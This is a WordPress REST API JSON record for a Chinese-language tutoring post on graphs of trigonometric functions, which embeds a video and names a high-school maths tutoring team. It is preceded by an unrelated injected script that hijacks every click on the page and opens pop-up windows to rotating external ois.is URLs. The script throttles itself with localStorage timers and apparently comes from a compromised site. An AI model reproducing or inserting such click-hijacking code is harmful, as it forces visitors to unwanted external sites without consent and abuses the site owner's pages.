<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1359,"date":"2017-05-22T14:14:14","date_gmt":"2017-05-22T06:14:14","guid":{"rendered":"http:\/\/edu.secda.info\/situtor_teacher_secret\/?p=1359"},"modified":"2017-05-22T14:24:02","modified_gmt":"2017-05-22T06:24:02","slug":"%e3%80%90%e7%af%84%e4%be%8b%e6%96%87%e7%ab%a0%e3%80%91%e6%95%b8%e5%ad%b8%ef%bc%8d%e9%9b%99%e6%9b%b2%e7%b7%9a-2","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/situtor_teacher_secret\/?p=1359","title":{"rendered":"\u3010\u7bc4\u4f8b\u6587\u7ae0\u3011\u6578\u5b78\uff0d\u4e09\u89d2\u51fd\u6578\u7684\u5716\u5f62"},"content":{"rendered":"<p><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/I_5QVdvmCJA\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>\u5167\u5bb9\uff1a\u9ad8\u4e2d\u6578\u5b78\u89e3\u984c<\/p>\n<p>\u5bb6\u6559\u8001\u5e2b\uff1a\u5085\u58f9\u6578\u5b78\u5718\u968a<\/p>\n<p>\u65e5\u671f\uff1a2014\u5e743\u670826\u65e5<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5167\u5bb9\uff1a\u9ad8\u4e2d\u6578\u5b78\u89e3\u984c \u5bb6\u6559\u8001\u5e2b\uff1a\u5085\u58f9\u6578\u5b78\u5718\u968a \u65e5\u671f\uff1a2014\u5e743\u670826\u65e5<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[74],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/situtor_teacher_secret\/index.php?rest_route=\/wp\/v2\/posts\/1359"}],"collection":[{"href":"https:\/\/edu.secda.info\/situtor_teacher_secret\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/situtor_teacher_secret\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/situtor_teacher_secret\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/situtor_teacher_secret\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1359"}],"version-history":[{"count":3,"href":"https:\/\/edu.secda.info\/situtor_teacher_secret\/index.php?rest_route=\/wp\/v2\/posts\/1359\/revisions"}],"predecessor-version":[{"id":1364,"href":"https:\/\/edu.secda.info\/situtor_teacher_secret\/index.php?rest_route=\/wp\/v2\/posts\/1359\/revisions\/1364"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/situtor_teacher_secret\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1359"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/situtor_teacher_secret\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1359"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/situtor_teacher_secret\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1359"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}